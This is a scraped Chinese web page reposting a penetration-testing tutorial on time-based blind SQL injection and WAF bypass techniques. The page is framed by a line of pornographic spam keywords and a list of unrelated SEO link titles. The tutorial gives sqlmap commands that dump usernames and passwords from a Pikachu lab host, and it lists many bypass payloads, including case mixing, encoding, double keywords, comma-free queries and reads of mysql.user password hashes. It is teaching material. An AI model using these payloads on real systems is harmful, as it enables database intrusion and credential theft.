中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當(dāng)前位置: 首頁 > news >正文

wordpress javascript廣告插件seo排名推廣

wordpress javascript廣告插件,seo排名推廣,淘寶網(wǎng)屬于b2b還是b2c,凡科網(wǎng)頁版登陸入口day8-滲透測試sql注入篇&時(shí)間注入&繞過&HTTP數(shù)據(jù)編碼繞過 一、時(shí)間注入 SQL注入時(shí)間注入(也稱為延時(shí)注入)是SQL注入攻擊的一種特殊形式,它屬于盲注(Blind SQL Injection)的一種。在盲注中,攻擊…

day8-滲透測試sql注入篇&時(shí)間注入&繞過&HTTP數(shù)據(jù)編碼繞過

一、時(shí)間注入

??? SQL注入時(shí)間注入(也稱為延時(shí)注入)是SQL注入攻擊的一種特殊形式,它屬于盲注(Blind SQL Injection)的一種。在盲注中,攻擊者無法直接從應(yīng)用程序的響應(yīng)中獲取SQL查詢的結(jié)果,而是通過觀察應(yīng)用程序的響應(yīng)時(shí)間來推斷信息。時(shí)間注入正是利用了這一特性,通過使數(shù)據(jù)庫執(zhí)行延時(shí)函數(shù)(如MySQL中的sleep()函數(shù))來檢測SQL查詢的執(zhí)行情況,從而推斷出數(shù)據(jù)庫中的信息。

1、時(shí)間注入的工作原理

時(shí)間注入的工作原理大致如下:

  1. 構(gòu)造延時(shí)查詢:攻擊者會在SQL查詢中注入一個條件,該條件會觸發(fā)數(shù)據(jù)庫執(zhí)行延時(shí)函數(shù)。例如,在MySQL中,可以使用IF(condition, sleep(time), 0)這樣的語句,如果條件滿足,則數(shù)據(jù)庫會延時(shí)一段時(shí)間(如sleep(10)表示延時(shí)10秒)返回結(jié)果,否則立即返回。
  2. 觀察響應(yīng)時(shí)間:攻擊者通過觀察應(yīng)用程序的響應(yīng)時(shí)間來判斷延時(shí)是否發(fā)生,從而推斷出條件是否滿足。如果應(yīng)用程序的響應(yīng)時(shí)間顯著增加,那么可以認(rèn)為條件滿足,即攻擊者可以通過這種方式逐步推斷出數(shù)據(jù)庫中的敏感信息。

2、時(shí)間注入的用途

時(shí)間注入主要用于以下場景:

  • 數(shù)據(jù)庫信息探測:攻擊者可以通過時(shí)間注入來探測數(shù)據(jù)庫的類型、版本、表名、列名等信息。
  • 數(shù)據(jù)提取:在知道數(shù)據(jù)庫結(jié)構(gòu)的情況下,攻擊者還可以利用時(shí)間注入來逐字符地提取數(shù)據(jù)庫中的數(shù)據(jù),如用戶名、密碼等敏感信息。

3、防御措施

為了防范時(shí)間注入攻擊,可以采取以下措施:

  • 使用參數(shù)化查詢:參數(shù)化查詢是預(yù)防SQL注入的最有效手段之一。通過將SQL語句中的參數(shù)與數(shù)據(jù)值分開處理,確保數(shù)據(jù)值不會被解釋為SQL代碼的一部分,從而避免注入攻擊。
  • 嚴(yán)格輸入驗(yàn)證:對所有用戶輸入進(jìn)行嚴(yán)格的驗(yàn)證和過濾,拒絕任何可疑或不合規(guī)的數(shù)據(jù)。
  • 設(shè)置響應(yīng)時(shí)間上限:合理設(shè)置響應(yīng)時(shí)間的上限,避免過長的響應(yīng)時(shí)間給攻擊者以機(jī)會。
  • 使用Web應(yīng)用防火墻(WAF):WAF能夠監(jiān)控和過濾進(jìn)出Web應(yīng)用的網(wǎng)絡(luò)流量,識別和阻止SQL注入等惡意攻擊。

4、時(shí)間注入攻擊方式

時(shí)間注入又名延時(shí)注入,屬于盲注入的一種,通常是某個注入點(diǎn)無法通過布爾型注入獲取數(shù)據(jù)而采用一種突破注入的技巧。

在 mysql 里 函數(shù) sleep() 是延時(shí)的意思,sleep(10)就是 數(shù)據(jù)庫延時(shí) 10 秒返回內(nèi)容。判斷注入可以使用'and sleep(10) 數(shù)據(jù)庫延時(shí) 10 秒返回值 網(wǎng)頁響應(yīng)時(shí)間至少要 10 秒 根據(jù)這個原理來判斷存在 SQL 時(shí)間注入。

mysql 延時(shí)注入用到的函數(shù) sleep() 、if()、substring()select if(2>1,sleep(10),0) 2>1 這個部分就是你注入要構(gòu)造的 SQL 語句。select if(length(database())>1,sleep(5),0) 這個就是查詢當(dāng)前庫大于 1 就會延時(shí) 5 秒執(zhí)行。-1' or if(length(database())>1,sleep(5),0)--+ 可以看到網(wǎng)頁是大于五秒返回。根據(jù)這個原理 n>1 n 不延時(shí)就能確定當(dāng)前數(shù)據(jù)庫的長度了。

如果想要獲取數(shù)據(jù)內(nèi)容 可以用截取字符再再進(jìn)行字符對比 如果相同就進(jìn)行延時(shí)。這樣就能獲取字符接著再拼接就是當(dāng)當(dāng)前庫的內(nèi)容。

5、時(shí)間注入代碼分析

在頁面中分析源碼 直接獲取 name 帶進(jìn)數(shù)據(jù)庫進(jìn)行查詢,但是是否存在記錄頁面返回都一樣。

在黑盒模式下可以使用 sqlmap 對注入檢測。sqlmap 支持多種數(shù)據(jù)庫注入,而且支持多種注入方式。

6、采用時(shí)間注入

sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T
?
-u 表示檢測的 url-p 指定的檢測參數(shù)-v 顯示調(diào)試模式--technique=T 檢測方法為時(shí)間注入

7、sqlmap 檢測為時(shí)間注入 接下來進(jìn)行 通過這個注入獲取數(shù)據(jù)庫的名 用戶權(quán)限、表、字段等敏感信息的獲取。

sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --current-user --current-db --batch--current-user 獲取用戶--current-db 當(dāng)前庫--batch 使用默認(rèn)模式 自動 y
?

8、獲取表 -D 指定數(shù)據(jù)庫 --tables 獲取表

sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --tables -D pikachu --batch
?

9、獲取字段

在 sqlmap --columns 獲取字典 -T 某個表sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.phpname=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --columns -T users -D pikachu --batch
?

10、sqlmap 查詢賬號和密碼

sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --dump -C "id,username,password" -T users -D pikachu --batch--dump 導(dǎo)出數(shù)據(jù)-C 指定查詢的字段
?

使用 sqlmap 很容易就能把時(shí)間注入的數(shù)據(jù)注入查詢出來

二、SQL 注入繞過技術(shù)

??? SQL 注入繞過技術(shù) 已經(jīng)是一個老生常談的內(nèi)容了,防注入可以使用某些云 waf加速樂等安全產(chǎn)品,這些產(chǎn)品會自帶 waf 屬性攔截和抵御 SQL 注入,也有一些產(chǎn)品會在服務(wù)器里安裝軟件,例如 iis 安全狗、d 盾、還有就是在程序里對輸入?yún)?shù)進(jìn)行過濾和攔截 例如 360webscan 腳本等只要參數(shù)傳入的時(shí)候就會進(jìn)行檢測,檢測到有危害語句就會攔截。SQL 注入繞過的技術(shù)也有許多。但是在日漸成熟的 waf 產(chǎn)品面前,因?yàn)?waf 產(chǎn)品的規(guī)則越來越完善,所以防御就會越來越高,安全系統(tǒng)也跟著提高,對滲透測試而言,測試的難度就越來越高了。

以下是一些常見的SQL注入繞過方法:

  1. 空格過濾繞過
    • 使用注釋符/**/、制表符(URL編碼為%09)、換行符(URL編碼為%0a)、括號、反引號等來代替空格。
  1. 內(nèi)聯(lián)注釋繞過
    • 利用MySQL的特性,將僅在MySQL上執(zhí)行的語句放在/*!...*/中。當(dāng)MySQL數(shù)據(jù)庫的實(shí)際版本號大于或等于內(nèi)聯(lián)注釋中的版本號時(shí),就會執(zhí)行內(nèi)聯(lián)注釋中的代碼。
  1. 大小寫繞過
    • 針對過濾規(guī)則只對小寫或大寫敏感的情況,通過大小寫混寫的方式來繞過關(guān)鍵字過濾。
  1. 雙寫關(guān)鍵字繞過
    • 在某些簡單的WAF(Web應(yīng)用防火墻)中,將關(guān)鍵字如select等只使用replace()函數(shù)置換為空,此時(shí)可以使用雙寫關(guān)鍵字(如seleselectct)繞過。
  1. 編碼繞過
    • 對需要注入的語句進(jìn)行編碼,如URL編碼、十六進(jìn)制編碼、Unicode編碼、ASCII編碼等。
  1. 等價(jià)函數(shù)字符替換繞過
    • 使用功能相同的函數(shù)或操作符進(jìn)行替換,如使用likein代替=,使用greatest、least、strcmp等函數(shù)進(jìn)行大小判斷。
  1. 邏輯符號替換
    • 使用邏輯符號如&&代替and||代替or^|代替xor等。
  1. 特殊字符和引號繞過
    • 使用十六進(jìn)制編碼、寬字節(jié)編碼等技術(shù)處理被過濾的引號等特殊字符。
  1. 對過濾函數(shù)的繞過
    • 針對特定的過濾函數(shù),如replace()、addslashes()等,構(gòu)造特定的payload來繞過其過濾規(guī)則。

??? 需要注意的是,SQL注入是一種嚴(yán)重的安全漏洞,攻擊者可以利用它來獲取數(shù)據(jù)庫的敏感信息,甚至對數(shù)據(jù)庫進(jìn)行破壞。因此,開發(fā)人員應(yīng)該采取嚴(yán)格的安全措施來防止SQL注入攻擊,如使用參數(shù)化查詢、ORM框架、預(yù)編譯語句等。同時(shí),定期對代碼進(jìn)行安全審計(jì)和漏洞掃描也是非常重要的。

1、空格字符繞過

兩個空格代替一個空格,用 Tab 代替空格,%a0=空格%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/select * from users where id=1 /*!union*//*!select*/1,2,3,4;%09 TAB 鍵(水平)%0a 新建一行%0c 新的一頁%0d return 功能%0b TAB 鍵(垂直)%a0 空格可以將空格字符替換成注釋 /**/ 還可以使用 /*!這里的根據(jù) mysql 版本的內(nèi)容不注釋*/

2、大小寫繞過

將字符串設(shè)置為大小寫,例如 and 1=1 轉(zhuǎn)成 AND 1=1 AnD 1=1select * from users where id=1 UNION SELECT 1,2,3,4;select * from users where id=1 UniON SelECT 1,2,3,4;

將字符串設(shè)置為大小寫,例如 and 1=1 轉(zhuǎn)成 AND 1=1 AnD 1=1select * from users where id=1 UNION SELECT 1,2,3,4;select * from users where id=1 UniON SelECT 1,2,3,4;http://192.168.0.101:7766/Less-27/?id=999999%27%0AuNIon%0ASeLecT%0A1,user(),3%0Aand%0A%271http://192.168.0.145:7766/Less-27/?id=9999999%27%09UniOn%09SeLeCt%091,(SelEct%09group_concat(username,password)from%09users),3%09and%20%271過濾空格可以用%0 代替 也過濾# -- 注釋 用字符串匹配
?

3、浮點(diǎn)數(shù)繞過注入

select * from users where id=8E0union select 1,2,3,4;select * from users where id=8.0union select 1,2,3,4;

4、NULL 值繞過

select \N; 代表 null

select * from users where id=\Nunion select 1,2,3,\N;select * from users where id=\Nunion select 1,2,3,\Nfrom users;

5、引號繞過

如果 waf 攔截過濾單引號的時(shí)候,可以使用雙引號 在 mysql 里也可以用雙引號作為字符串

select * from users where id='1';select * from users where id="1";

也可以將字符串轉(zhuǎn)換成 16 進(jìn)制 再進(jìn)行查詢。

select hex('admin');select * from users where username='admin';select * from users where username=0x61646D696E;

如果 gpc 開啟了,但是注入點(diǎn)是整形 也可以用 hex 十六進(jìn)制進(jìn)行繞過

select * from users where id=-1 union select 1,2,(select group_concat(column_name)from information_schema.columns where TABLE_NAME='users' limit 1),4;

select * from users where id=-1 union select 1,2,(select group_concat(column_name)from information_schema.columns where TABLE_NAME=0x7573657273 limit 1),4;

可以看到存在整型注入的時(shí)候 沒有用到單引號 所以可以注入。

6、添加庫名繞過

以下兩條查詢語句,執(zhí)行的結(jié)果是一致的,但是有些 waf 的攔截規(guī)則 并不會攔截[庫名].[表名]這種模式。

select * from users where id=-1 union select 1,2,3,4 from users;select * from users where id=-1 union select 1,2,3,4 from moonsec.users;

mysql 中也可以添加庫名查詢表。例如跨庫查詢 mysql 庫里的 usrs 表的內(nèi)容。

select * from users where id=-1 union select 1,2,3,concat(user,authentication_string)from mysql.user;

7、去重復(fù)繞過

在 mysql 查詢可以使用 distinct 去除查詢的重復(fù)值??梢岳眠@點(diǎn)突破 waf 攔截select * from users where id=-1 union distinct select 1,2,3,4 from users;select * from users where id=-1 union distinct select 1,2,3,version() from users;

8、反引號繞過

在 mysql 可以使用 `這里是反引號` 繞過一些 waf 攔截。字段可以加反引號或者不加,意義相同。

insert into users(username,password,email)values('moonsec','123456','admin@moonsec.com');insert into users(`username`,`password`,`email`)values('moonsec','123456','admin@moonsec.com');

9、逗號繞過

目前有些防注入腳本都會逗號進(jìn)行攔截,例如常規(guī)注入中必須包含逗號

select * from users where id=1 union select 1,2,3,4;

一般會對逗號過濾成空 select * from users where id=1 union select 1 2 3 4;這樣SQL 語句就會出錯。所以 可以不使用逗號進(jìn)行 SQL 注入。繞過方法如下

ubstr 截取字符串
select(substr(database() from 1 for 1)); 查詢當(dāng)前庫第一個字符查詢 m 等于 select(substr(database() from 1 for 1))頁面返回正常select * from users where id=1 and 'm'=(select(substr(database() from 1 for 1)));可以進(jìn)一步優(yōu)化 m 換成 hex 0x6D 這樣就避免了單引號select * from users where id=1 and 0x6D=(select(substr(database() from 1 for 1)));

min 截取字符串?
這個 min 函數(shù)跟 substr 函數(shù)功能相同 如果 substr 函數(shù)被攔截或者過濾可以使用這個函數(shù)代替。select mid(database() from 1 for 1); 這個方法如上。select * from users where id=1 and 'm'=(select(mid(database() from 1 for 1)));select * from users where id=1 and 0x6D=(select(mid(database() from 1 for 1)));

10、使用 join 繞過

使用 join 自連接兩個表union select 1,2 #等價(jià)于 union select * from (select 1)a join (select 2)ba 和 b 分別是表的別名select * from users where id=-1 union select 1,2,3,4;select * from users where id=-1 union select * from (select 1)a join (select 2)bjoin(select 3)c join(select 4)d;select * from users where id=-1 union select * from (select 1)a join (select 2)bjoin(select user())c join(select 4)d;

可以看到這里也沒有使用逗號,從而繞過 waf 對逗號的攔截

11、like 繞過

使用 like 模糊查詢 select user() like '%r%'; 模糊查詢成功返回 1 否則返回 0

找到第一個字符后繼續(xù)進(jìn)行下一個字符匹配。從而找到所有的字符串 最后就是要查詢的內(nèi)容,這種 SQL 注入語句也不會存在逗號。從而繞過 waf 攔截。

12、limit offset 繞過

??? SQL 注入時(shí),如果需要限定條目可以使用 limit 0,1 限定返回條目的數(shù)目 limit 0,1返回條一條記錄 如果對逗號進(jìn)行攔截時(shí),可以使用 limit 1 默認(rèn)返回第一條數(shù)據(jù)。也可以使用 limit 1 offset 0 從零開始返回第一條記錄,這樣就繞過 waf 攔截了。

13、or and xor not 繞過

目前主流的 waf 都會對 id=1 and 1=2、id=1 or 1=2、id=0 or 1=2id=0 xor 1=1 limit 1 、id=1 xor 1=2對這些常見的 SQL 注入檢測語句進(jìn)行攔截。像 and 這些還有字符代替字符如下and 等于&&or 等于 ||not 等于 !xor 等于|所以可以轉(zhuǎn)換成這樣id=1 and 1=1 等于 id=1 && 1=1id=1 and 1=2 等于 id=1 && 1=2id=1 or 1=1 等于 id=1 || 1=1id=0 or 1=0 等于 id=0 || 1=0

可以繞過一些 waf 攔截繼續(xù)對注入點(diǎn)進(jìn)行安全檢測,也可以使用運(yùn)算符號

id=1 && 2=1+1

id=1 && 2=1-1

14、ascii 字符對比繞過

許多 waf 會對 union select 進(jìn)行攔截 而且通常比較變態(tài),那么可以不使用聯(lián)合查詢注入,可以使用字符截取對比法,進(jìn)行突破。

select substring(user(),1,1);select * from users where id=1 and substring(user(),1,1)='r';select * from users where id=1 and ascii(substring(user(),1,1))=114;

最好把'r'換成成 ascii 碼 如果開啟 gpc int 注入就不能用了。

可以看到構(gòu)造得 SQL 攻擊語句沒有使用聯(lián)合查詢(union select)也可以把數(shù)據(jù)查詢出來。

15、等號繞過

如果程序會對=進(jìn)行攔截 可以使用 like rlike regexp 或者使用<或者>

select * from users where id=1 and ascii(substring(user(),1,1))<115;

select * from users where id=1 and ascii(substring(user(),1,1))>115;

select * from users where id=1 and (select substring(user(),1,1)like 'r%');select * from users where id=1 and (select substring(user(),1,1)rlike 'r');

select * from users where id=1 and 1=(select user() regexp '^r');select * from users where id=1 and 1=(select user() regexp '^a');regexp 后面是正則

16、雙關(guān)鍵詞繞過

有些程序會對單詞 union、 select 進(jìn)行轉(zhuǎn)空 但是只會轉(zhuǎn)一次這樣會留下安全隱患。

雙關(guān)鍵字繞過(若刪除掉第一個匹配的 union 就能繞過)

id=-1'UNIunionONSeLselectECT1,2,3--+

到數(shù)據(jù)庫里執(zhí)行會變成 id=-1'UNION SeLECT1,2,3--+ 從而繞過注入攔截。

17、二次編碼繞過

有些程序會解析二次編碼,造成 SQL 注入,因?yàn)?url 兩次編碼過后,waf 是不會攔截的。

-1 union select 1,2,3,4#第一次轉(zhuǎn)碼%2d%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%23第二次轉(zhuǎn)碼%25%32%64%25%33%31%25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33%32%25%32%63%25%33%33%25%32%63%25%33%34%25%32%33

二次編碼注入漏洞分析 在源代碼中已經(jīng)開啟了 gpc 對特殊字符進(jìn)行轉(zhuǎn)義

代碼里有 urldecode 這個函數(shù)是對字符 url 解碼,因?yàn)閮纱尉幋a GPC 是不會過濾的,所以可以繞過 gpc 字符轉(zhuǎn)義,這樣也就繞過了 waf 的攔截。

免責(zé)聲明:

以上內(nèi)容僅供參考,不構(gòu)成任何安全建議或指導(dǎo)。對于具體的安全問題,請咨詢專業(yè)的安全專家或機(jī)構(gòu)。

http://m.risenshineclean.com/news/63951.html

相關(guān)文章:

  • 網(wǎng)站做優(yōu)化多少錢牛推網(wǎng)
  • 汶上云速網(wǎng)站建設(shè)如何找做網(wǎng)站的公司
  • 北京微信網(wǎng)站建設(shè)費(fèi)用北京seo優(yōu)化公司
  • 網(wǎng)站建設(shè)有什么方法連接數(shù)據(jù)庫網(wǎng)絡(luò)營銷師證
  • 政府網(wǎng)站建設(shè)新模式網(wǎng)站排名優(yōu)化軟件聯(lián)系方式
  • 開鎖都在什么網(wǎng)站做最有效的推廣學(xué)校的方式
  • 諸城做網(wǎng)站找個人種子搜索神器 bt 下載
  • 網(wǎng)站建設(shè) 價(jià)格新聞軟文自助發(fā)布平臺
  • 大連app制作seo外包優(yōu)化網(wǎng)站
  • jsp做網(wǎng)站能實(shí)現(xiàn)什么功能百度網(wǎng)盤搜索引擎
  • .網(wǎng)站開發(fā)工具dw搜索引擎付費(fèi)推廣
  • .net 創(chuàng)建網(wǎng)站項(xiàng)目網(wǎng)絡(luò)營銷的主要特點(diǎn)有哪些
  • 關(guān)于網(wǎng)站建設(shè)相關(guān)文章武漢 網(wǎng)絡(luò) 推廣
  • 南京網(wǎng)站流量優(yōu)化輕松seo優(yōu)化排名 快排
  • 建設(shè)公司網(wǎng)站要注意哪些杭州網(wǎng)站排名提升
  • 化妝品網(wǎng)站建設(shè)項(xiàng)目計(jì)劃書今日新聞頭條
  • wordpress建站速度提升免費(fèi)推廣途徑與原因
  • 深圳網(wǎng)站設(shè)計(jì)價(jià)格表優(yōu)化大師下載舊版本安裝
  • 山東德州如何網(wǎng)站建設(shè)教程qq群排名優(yōu)化
  • 廣州做和改版網(wǎng)站的公司網(wǎng)上賣貨的平臺有哪些
  • 好用的wordpress代碼編輯器河南seo外包
  • phpcms 做購物網(wǎng)站谷歌seo優(yōu)化公司
  • html京東頁面制作深圳seo優(yōu)化排名優(yōu)化
  • 貴陽 網(wǎng)站建設(shè)推廣百度百科
  • 廊坊哪些公司做網(wǎng)站百度商家版下載
  • 一線城市網(wǎng)站建設(shè)費(fèi)用高長春網(wǎng)站seo公司
  • 怎么快速開發(fā)一個網(wǎng)站典型的網(wǎng)絡(luò)營銷案例
  • 教做衣服的網(wǎng)站有哪些網(wǎng)頁搜索
  • 越城網(wǎng)站建設(shè)公司陜西網(wǎng)站建設(shè)網(wǎng)絡(luò)公司
  • 煙臺專業(yè)做網(wǎng)站公司有哪些微博推廣技巧